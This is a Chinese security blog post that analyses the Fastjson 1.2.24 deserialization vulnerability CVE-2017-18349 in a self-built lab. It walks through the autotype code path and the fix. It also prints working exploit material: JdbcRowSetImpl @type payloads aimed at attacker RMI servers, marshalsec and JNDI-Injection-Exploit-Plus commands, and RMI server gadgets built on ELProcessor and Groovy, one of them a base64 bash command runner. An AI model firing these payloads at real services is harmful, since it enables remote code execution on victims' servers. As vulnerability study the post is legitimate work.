Fastjson漏洞之CVE-2017-18349

news2024/10/7 17:30:51

前言:

        要想理解漏洞原理,首先看看Fastjson是什么,具体用来做什么才能更好的找到可以利用的场景:

Fastjson 是一个由阿里巴巴开发的 Java 语言实现的高性能 JSON 解析器和生成器。它具有以下特点:

  1. 快速:Fastjson 在序列化和反序列化 JSON 数据方面表现出色,在性能方面优于其他主流 JSON 处理库。

  2. 灵活:Fastjson 支持将 Java Bean 直接转换为 JSON 字符串,也支持将 JSON 字符串直接转换为 Java Bean。它还支持自定义序列化和反序列化规则。

  3. 功能强大:Fastjson 提供了丰富的 API,支持复杂的 JSON 操作,如查询、修改、删除等。

  4. 广泛应用:Fastjson 被广泛应用于阿里巴巴集团内部的众多项目中,并得到了良好的评价。

使用 Fastjson 的基本步骤如下:

        添加 Fastjson 依赖到项目中::

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.78</version>
</dependency>

序列化Java对象为JSON字符串:

User user = new User("John", 30);
String json = JSON.toJSONString(user);

反序列化JSON字符串为Java对象:

String jsonStr = "{\"name\":\"John\",\"age\":30}";
User user = JSON.parseObject(jsonStr, User.class);

使用 Fastjson 提供的丰富 API 进行复杂的 JSON 操作:

JSONObject jsonObject = JSON.parseObject(jsonStr);
String name = jsonObject.getString("name");
int age = jsonObject.getInteger("age");

一般在处理前端数据的时候会用到fastjson,比如用户上传的表单等,后台处理的时候可以使用fastjson进行处理,非常的方便快捷

搭建漏洞环境

下面我们自己搭建一个测试环境,我使用的是springMVC搭建,具体的spring创建过程可以自己查找,这里就不多做介绍,下面介绍下测试代码:

首先是处理前端请求的主函数:

    //设置请求路的径  规定请求的方式是post
    @RequestMapping(value = "/show.do",method = RequestMethod.GET)//请求方式设定后,只能用post的提交方式
    public ModelAndView show(){

        ModelAndView mv = new ModelAndView();
        //经过InternalResourceViewResolver对象处理后前缀加上后缀就变为了:    /jsp/team/update.jsp
        mv.setViewName("/index");//要经过Springmvc的视图解析器处理,转换成物理资源路径。
        return mv;
    }


    @RequestMapping("/test.do")
    public ModelAndView testFastJSON(@RequestBody String jsonStr) {
        ModelAndView mv = new ModelAndView();
        //java.lang.Runtime
        // 使用FastJSON解析请求中的JSON数据
        JSONObject jsonObject = JSON.parseObject(jsonStr);
        String name = jsonObject.getString("name");
        int age = jsonObject.getInteger("age");

        // 创建响应对象
        Map<String, Object> response = new HashMap<>();
        response.put("message", "Hello, " + name + "! You are " + age + " years old.");
        System.out.printf(JSON.toJSONString(response));

        mv.addObject("backinfor", JSON.toJSONString(response));
        mv.setViewName("/jsp/show");
        // 使用FastJSON将响应对象序列化为JSON字符串
        return mv;
    }

前端代码index.jsp:

<!DOCTYPE html>
<html>
<head>
    <title>FastJSON Test</title>
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
</head>
<body>
    <h1>FastJSON Test</h1>
    <button id="testButton">Click me</button>

    <div id="result"></div>

    <script>
        $(document).ready(function() {
            $('#testButton').click(function() {
                $.ajax({
                    type: "POST",
                    url: "/test.do",
                    data: JSON.stringify({name: "John", age: 30}),
                    contentType: "application/json; charset=utf-8",
                    dataType: "json",
                    success: function(data) {
                        $('#result').text(data.message);

                    },
                    error: function(xhr, status, error) {
                        console.error(error);
                    }
                });
            });
        });
    </script>
</body>
</html>

前端代码show.jsp

${backinfor}

pom.xml添加fastjson包,这里使用1.2.24版本:

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>

运行下看下效果:

看下数据包:

漏洞复现: 

下面先针对漏洞进行复现,使用poc如下:

{"name":{
   "@type":"java.net.Inet4Address",
    "val":"g17myc.dnslog.cn"
 },
 "age":30
}

发送成功:

可以看到DNSLOG平台获取到了对应的访问信息,证明确实存在漏洞,至于为什么是访问了两次,后面再解释:

漏洞分析:

网上很多教程只将利用,从来不关心漏洞的原理,用一下能成功就行了,那也太没意思了,这里顺带分析下对应的漏洞原理,这里我们要再项目里添加一个新的java文件,来方便理解:

package org.example.controller;

import java.io.IOException;
import java.sql.SQLException;

public class mytest {
    public void noSet(String dsName){
        System.out.printf(dsName);
    }
    public void setExecmy(String dsName){
        System.out.printf(dsName);
    }

    public void setType(String type){
        System.out.printf(type);
    }
    public void setDataSourceName(String dsName) throws SQLException {
        System.out.printf(dsName);
    }
    public mytest(){
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

 发送如下数据包:

{
   "name":{
       "@type":"org.example.controller.mytest",
       "noSet":"noSet",
       "execmy":"execmy",
       "Type":"Type",
       "dataSourceName":"dataSourceName"
    },
    "age":30
}

很简单就是测试如何调用到我们自己编写的代码中去,下面就列举一些比较重要的点,其他地方可以自行调试:

首先我们会进入主函数:

com.alibaba.fastjson.parser.DefaultJSONParser的parseObject

再scanSymbol处获取对应的json属性值:

进入com.alibaba.fastjson.parser.JSONLexerBase的scanSymbol方法:

循环获取我们要处理的json的属性值:

然后回到parseObject主函数,这里会判断我们的属性值是否等于@type,如果等于则进入循环:

并且通过如下语句获取到我们type中设置的类方法:

Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());

由于我们上一步获取到了对应的clazz,下面我们要对具体的class进行处理,进入到如下方法:

下面要进入一个很有意思的地方,针对反射的处理:

com.alibaba.fastjson.parser.createJavaBeanDeserializer方法生成javaBean

这里我们会根据我们添加的类生成一个反射表来进行后面的调用,具体的生成方法再build中,这里使用asmEnable进行判断,如果是相同的类则不进入,仅对第一次进入的类进行生成:

下面进入到具体的生成方法:

com.alibaba.fastjson.util.build方法

首先会获取指定类中的所有方法,这里可看到其中包含我们刚才添加类中的四个方法另外还有一些基础方法

然后获取到对应的方法名后会判断是否存在set,如果存在则提取出除了set以外的字符:

最后执行如下代码将匹配到的方法添加到接口列表中

return new JavaBeanInfo(clazz, builderClass, defaultConstructor, (Constructor)null, (Method)null, buildMethod, jsonType, fieldList);

执行完成后查看任意反射列表,可以看到我们设置的方法,为后续反射提供了条件:

然后回到主函数后执行,实例化我们的类:

thisObj = deserializer.deserialze(this, clazz, fieldName);

示例化完成后会处理其他参数,会进入到smartMatch方法中:

com.alibaba.fastjson.parser.deserializer.smartMatch

如果在第一步匹配的fieldDeserializer为空,则会进行多轮匹配,具体的匹配规则后续进行研究,感觉可以用来作为绕过的方案:

 其中主要通过this.getFieldDeserializer(key);来进行反射匹配,当我们参数中存在execmy,会对应匹配到setExecmy方法:

 然后就要根据fieldDeserializer进入指定的流程,如果fieldDeserializer不为空,则会反射到对应的方法中

com.alibaba.fastjson.parser.deserializer.parseField方法

具体的反射过程如下:

最后进入setValue方法中反射调用指定方法:

com.alibaba.fastjson.parser.deserializer的setValue方法

对应的参数值:

然后就进入了我们自己编写的代码中执行。

上述大概的流程我们已经走完了,漏洞也很明显了就是没有对@type内容进行校验,进而导致的问题,下面我们针对能触发dnslog的 java.net.Inet4Address进行简单分析,看看是如何触发:

这里需要注意,fastjson中会针对部分类进行特殊处理,当我们使用java.net.Inet4Address的时候会触发:

com.alibaba.fastjson.util的get方法

可以看到对应的value是MiscCodec,即:

com.alibaba.fastjson.serializer.MiscCodec的deserialze

对应的this.buckets列表中可以看到内置的反射方法:

 然后执行thisObj = deserializer.deserialze(this, clazz, fieldName);进入MiscCodec的deserialze方法中,然后执行InetAddress.getByName(strVal),我们的dnslog平台就收到了第一个请求

然后进入代码String name = jsonObject.getString("name");调用的toString是java.net.Inet4Address的toString方法:

然后这里又触发了第二次DNSLOG平台的访问 

 由此我们就完整的分析了漏洞的成因和为何触发了对DNSlog平台的访问

漏洞利用:

利用方法为可以加载任意的类,如果其中带有set方法名的,只要参数中带有对应相同的方法名就会调用到对应的set方法,基于这个目前比较常见的就是使用RMI或者ldap注入

poc如下:

{
    "name":
    {
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.5.99:9999/mytest",
        "autoCommit":true
    },
    "age":30
}

先看下是如何触发的,首先我们使用@type使反射调用com.sun.rowset.JdbcRowSetImpl方法,然后会调用setDataSourceName方法和setAutoCommit方法,看下对应的方法

 可以看到调用了conn = connect();,查看其内部方法,可以看到其调用了lookup方法触发了rmi漏洞:

下面我们尝试执行我们自己编写的恶意代码,代码如下:

public class mytest {
    public mytest() throws Exception{
        try {
            String var0 = "calc";
            Runtime.getRuntime().exec(var0);
        } catch (Exception var1) {
            var1.printStackTrace();
        }
        System.out.println();
    }
    static {
        System.out.println("run calc");
    }
}

然后使用命令javac mytest.java编译为class文件,使用marshalsec搭建RMI服务器:

https://github.com/mbechler/marshalsec
mvn clean package -DskipTests

然后使用如下命令启动RMI服务器:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.5.99:1234/#mytest" 9999

然后使用如下poc:

{
    "name":
    {
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.5.99:9999/mytest",
        "autoCommit":true
    },
    "age":30
}

这里需要注意高版本的jdk环境会禁止加载远程class

com.sun.naming.internal.VersionHelper12

默认为flase,无法加载远程class文件,但是如果是低版本的java环境可以直接执行:

高版本的可以进行绕过,但是对环境要求较高,需要环境中有对应的jar包,下面我们自己搭建一个rmi的服务器,来进行演示:

服务器代码如下:

package org.example;


import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Main {

    public static void main(String[] args) throws Exception {
        try{
            Registry registry = LocateRegistry.createRegistry(1088);

            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
            ref.add(new StringRefAddr("forceString", "x=eval"));
            ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

//            ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//            ref.add(new StringRefAddr("forceString", "x=parseClass"));
//            ref.add(new StringRefAddr("x", "@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(clac)\n})\ndef x\n"));

            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
            registry.bind("calcaa", referenceWrapper);
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

 服务器监听1088端口,设置poc如下:

{
    "name":
    {
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.5.99:1088/calcaa",
        "autoCommit":true
    },
    "age":30
}

发送数据包后触发fastjson漏洞远程访问我们1088的远程rmi服务器,进而触发漏洞执行命令弹出计算器,另外网上还有四种绕过代码如下:

    /*
     * Need : Tomcat 8+ or SpringBoot 1.2.x+ in classpath,because of javax.el.ELProcessor.
     */
    public ResourceRef execByEL() {
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", String.format(
                "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
                        "\"java.lang.Runtime.getRuntime().exec('%s')\"" +
                        ")",
                this.command
        )));

        return ref;
    }

    /*
     * (GroovyClassLoader) Need : Tomcat and Groovy in classpath,because of groovy.lang.GroovyClassLoader.
     */
    public ResourceRef execByGroovy1() {
        ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=parseClass"));
        ref.add(new StringRefAddr("x", String.format(
                "@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef x\n",
                this.command
        )));

        return ref;
    }

    /*
     * (GroovyShell) Need : Tomcat and Groovy in classpath,because of groovy.lang.GroovyClassLoader.
     */
    public ResourceRef execByGroovy2() {
        ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=evaluate"));
        ref.add(new StringRefAddr("x", "'bash -c {echo," +
                Base64.getEncoder().encodeToString(this.command.getBytes()) +
                "}|{base64,-d}|{bash,-i}'.execute()"
        ));

        return ref;
    }

    /*
     * Need : WebSphere v6-v9, file content will stop util '#' or '?' or EOF.
     */
    public javax.naming.Reference readfileByWebsphere() {
        javax.naming.Reference ref = new Reference("ExploitObject",
                "com.ibm.ws.webservices.engine.client.ServiceFactory", null);
        ref.add(new StringRefAddr("WSDL location", this.codebase+"wsdl/list.wsdl"));
        ref.add(new StringRefAddr("service namespace","xxx"));
        ref.add(new StringRefAddr("service local part","yyy"));

        return ref;
    }

 读者可以自己搭建服务器进行测试,另外可以使用JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus

 执行命令如下:

java -jar JNDI-Injection-Exploit-Plus-2.2-SNAPSHOT-all.jar  -C "calc" -A "127.0.0.1"

 执行后可以看到可以选用的攻击载荷和对应的地址:

使用的时候只需要选择使用的负载就行,如使用rmi的加载本地文件执行命令的可以使用如下poc:

{
    "name":
    {
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://127.0.0.1:1099/localExploitel",
        "autoCommit":true
    },
    "age":30
}

 漏洞修复:

>=1.2.25后进行了修复,主要进行两处校验,校验函数为

com.alibaba.fastjson.parser.checkAutoType

引入了autoTypeSupport,如果设置允许则会跳过第二步校验,返回类进行反射,

默认为false,这个时候会进入第二步过滤,如果包含以下22个任一类就会触发异常:

但是java.net.Inet4Address并不在其中,就是说我们还是可以使用dnslog确定网站是否使用fastjson模块,至于如何利用,修复是使用了黑名单的方式进行防御,那么就一定有绕过的方法,具体如何绕过,那就看所处环境里有没有可以利用的代码了 。

漏洞的原理还是较为简单,但是个人感觉其防御采用黑名单的方式还是存在隐患,如果拿到对应服务器的源代码,对源代码审计找到可以利用的函数,即可通过fastjson的rmi或ldap进行利用,并且测试中还是可以利用java.net.Inet4Address来判断服务器是否使用了fastjson来处理json数据,存在隐患。

CVE-2022-25845就是针对CVE-2017-18349的升级版,可以绕过checkAutoType校验,将autoTypeSupport设置为true,具体的后续会进行讲解

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1684377.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

CR80清洁卡都能用在什么地方?

CR80清洁卡&#xff08;也被称为ISO 7810 ID-1清洁卡&#xff09;的规格确实使其在各种需要读取磁条或接触式智能卡的设备中都有广泛的用途。这些设备包括但不限于&#xff1a; ATM自动终端机&#xff1a;当ATM机的磁条读卡器出现故障或读卡不灵敏时&#xff0c;可以使用CR80清…

rabbitMQ本地启动快捷方式

%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c ""%~s0"" ::","","runas",1)(window.close)&&exit COLOR A TITLE 运行RabbitMQ%comspec% /k "C:\Prog…

How to limit request by IP on nginx?

/etc/nginx/conf.d/default.conf 1.Define a limit_req_zone # 定義限流區塊 limit_req_zone $binary_remote_addr zonelimit_zone:10m rate2r/s; limit_req_zone $binary_remote_addr zonelimit_zone:10m rate2r/s; 是一个 Nginx 配置指令&#xff0c;用于定义请求限制区域和…

express.js--生成token(二)

主要作用是访问路由接口时&#xff0c;生成身份权限信息 下载依赖 npm i express-jwt npm i jsonwebtoken 配置管理 config/index.js module.exports {app: {port: process.PORT || 3000,//jwt密钥jwtSecret: jwtSecret,//token过期时间expiresIn: 60 * 60 * 24,} } con…

拼多多暂时超越阿里成为电商第一

关注卢松松&#xff0c;会经常给你分享一些我的经验和观点。 拼多多的财报又炸裂了&#xff1a; 拼多多发布了第一季度财报&#xff0c;营收868亿&#xff0c;增长了131%&#xff0c;净利润279亿&#xff0c;增长了246%&#xff0c;营销服务收入424亿&#xff0c;也就是商家的…

大语言模型的工程技巧(二)——混合精度训练

相关说明 这篇文章的大部分内容参考自我的新书《解构大语言模型&#xff1a;从线性回归到通用人工智能》&#xff0c;欢迎有兴趣的读者多多支持。 混合精度训练的示例请参考如下链接&#xff1a;regression2chatgpt/ch11_llm/gpt2_lora_optimum.ipynb 本文将讨论如何利用混合…

windows ssh客户端mobaxterm密码登录到debian12 openssh服务器

1&#xff0c;在debian12生成公钥、秘钥 ssh-keygen -t rsa ~/.ssh/id_rsa 是秘钥&#xff0c;要放到windows的&#xff08;这里先不要放&#xff0c;等转换一下再放&#xff09;&#xff1b; ~/.ssh/id_rsa.pub 是公钥&#xff0c;放在debian12本地就好了&#xff0c; 顺…

初识DataX3.0

目前接到任务&#xff0c;让同步表数据。市面很多同步工具不一一尝试了&#xff0c;信赖阿里&#xff0c;所以调研了一下阿里的dataX,一点点来吧&#xff0c;学习为主 环境准备&#xff1a;linux6.8 python自带的2.7 MySQL 5.7.1 1.先下载&#xff1a; wget http://datax-o…

TG5032CKN是一种高稳定性晶体振荡器

TG5032CKN的输出频率范围为10 MHz至24 MHz&#xff0c;能够在-40C至105C的温度范围内工作&#xff0c;其频率/温度特性为0.110^-6 Max。这表明该设备具有很好的温度稳定性&#xff0c;适合在极端温度条件下使用。TG5032CKN的尺寸为5.03.21.65 mm&#xff0c;可以选择10针或4针封…

iOS App上架全流程及审核避坑指南

App Store作为苹果官方的应用商店&#xff0c;审核严格周期长一直让用户头疼不已&#xff0c;很多app都“死”在了审核这一关&#xff0c;那我们就要放弃iOS用户了吗&#xff1f;当然不是&#xff01;本期我们从iOS app上架流程开始梳理&#xff0c;详细了解下iOS app上架的那些…

番外篇 | YOLOv5更换主干网络之Conformer:首个CNN + Transformer的backbone模型

前言:Hello大家好,我是小哥谈。Transformer和CNN在处理视觉表征方面都有着各自的优势以及一些不可避免的问题。因此,国科大、鹏城实验室和华为研究人员首次将二者进行了融合并提出全新的Conformer模型,其可以在不显著增加计算量的前提下显著提升了基网表征能力。论文已被IC…

简析网络风险量化的价值与应用实践,如何构建网络风险预防架构

网络风险量化能够让公司董事会和高管层看清当前的网络安全风险格局&#xff1b;它还将使安全团队能够在业务需求的背景下做出网络安全决策&#xff0c;帮助组织确定哪些风险对业务构成最大的威胁&#xff0c;以及预期的经济损失将是什么。 随着网络攻击手段的日益多样化和复杂…

解锁创意新境界:StartAI插件让Photoshop飞起来!

Photoshop AI插件的革命性突破&#xff1a;StartAI插件的全面体验 作为一名AIGC测评博主&#xff0c;我一直在寻找能够提升设计效率和创意表现的工具。今天&#xff0c;我将带大家深入了解一款令人兴奋的Photoshop AI插件——StartAI&#xff0c;它不仅为设计师带来了前所未有…

3---版本库和工作区、使用.git管理工作区的文件、HEAD指针和master的关系

一、本地仓库和工作区的概念&#xff1a; 1.1本地仓库——版本库&#xff1a; 本地仓库又称为版本库。版本库是隐藏目录.git&#xff0c;并不是.git所在的目录。版本库不属于工作区。我们不能手动操作.git目录及其中的文件&#xff0c;这样可能会直接破坏版本库。stage(暂存区…

vue的组件化

vue的组件化 vue的组件化&#xff0c;就是根据功能、业务逻辑、数据流向等因素进行划分把页面拆分成多个组件。组件是资源独立的&#xff0c;组件也可以相互嵌套。目的是提高代码的可读性、可维护性和可复用性。 组件化思想体现 ​ 组件封装步骤 1.公共组件 公共组件全局注…

【easyx】快速入门——弹球小游戏(第一代)

目录 1.需求 2.运动的小球 3.碰到边缘反弹 4.圆周撞击或越过边界反弹 5.绘制和移动挡板 6.小球碰到挡板反弹 7.游戏失败时该如何处理 8.随机初始条件 9.完整代码 我们这一节将结合动画和键盘交互的知识来做一个小游戏 1.需求 我们先看需求:小球在窗体内运动,撞到除…

HCIP【VRRP、MSTP、VLAN综合实验】

目录 一、实验拓扑图&#xff1a; ​编辑二、实验要求 三、实验思路 四、实验步骤 &#xff08;1&#xff09; eth-trunk技术配置 &#xff08;2&#xff09;vlan 技术配置 &#xff08;3&#xff09;配置SW1、SW2、AR1、ISP的IP地址 &#xff08;4&#xff09;在交换机…

作物水文模型AquaCrop---用于评估作物对水的需求、灌溉计划和管理策略

AquaCrop是由世界粮食及农业组织&#xff08;FAO&#xff09;开发的一个先进模型&#xff0c;旨在研究和优化农作物的水分生产效率。这个模型在全球范围内被广泛应用于农业水管理&#xff0c;特别是在制定农作物灌溉计划和应对水资源限制方面显示出其强大的实用性。AquaCrop 不…

openmldb install log

下载/源码编译# 如果你的操作系统可以直接运行预编译包&#xff0c;则可以从以下地址下载&#xff1a; GitHub release 页面&#xff1a;Releases 4paradigm/OpenMLDB GitHubOpenMLDB is an open-source machine learning database that provides a feature platform comput…

普源DHO924示波器OFFSET设置

一、简介 示波器是电子工程师常用的测量工具之一&#xff0c;能够直观地显示电路信号的波形和参数。普源DHO924是一款优秀的数字示波器&#xff0c;具有优异的性能和易用性。其中OFFSET功能可以帮助用户调整信号的垂直位置&#xff0c;使波形更清晰易读。本文将详细介绍DHO924…